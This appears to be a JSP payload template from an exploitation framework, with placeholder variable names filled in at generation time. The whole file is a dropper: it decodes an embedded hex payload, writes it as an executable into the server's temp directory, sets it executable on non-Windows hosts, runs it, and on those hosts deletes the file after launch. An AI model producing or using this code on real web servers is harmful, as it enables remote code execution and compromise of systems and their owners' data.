39 lines
1.5 KiB
Plaintext
39 lines
1.5 KiB
Plaintext
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<%%@ page import="java.io.*" %%>
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<%%
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String %{var_payload} = "%{payload}";
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String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
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if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
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%{var_exepath} = %{var_exepath}.concat(".exe");
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}
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int %{var_payloadlength} = %{var_payload}.length();
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byte[] %{var_bytes} = new byte[%{var_payloadlength}/2];
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for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) {
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%{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4)
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+ Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16));
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}
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FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
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%{var_outputstream}.write(%{var_bytes});
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%{var_outputstream}.flush();
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%{var_outputstream}.close();
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if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
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String[] %{var_fperm} = new String[3];
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%{var_fperm}[0] = "chmod";
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%{var_fperm}[1] = "+x";
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%{var_fperm}[2] = %{var_exepath};
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Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
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if (%{var_proc}.waitFor() == 0) {
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%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
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}
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File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
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} else {
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String[] %{var_exepatharray} = new String[1];
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%{var_exepatharray}[0] = %{var_exepath};
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Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
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}
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%%>
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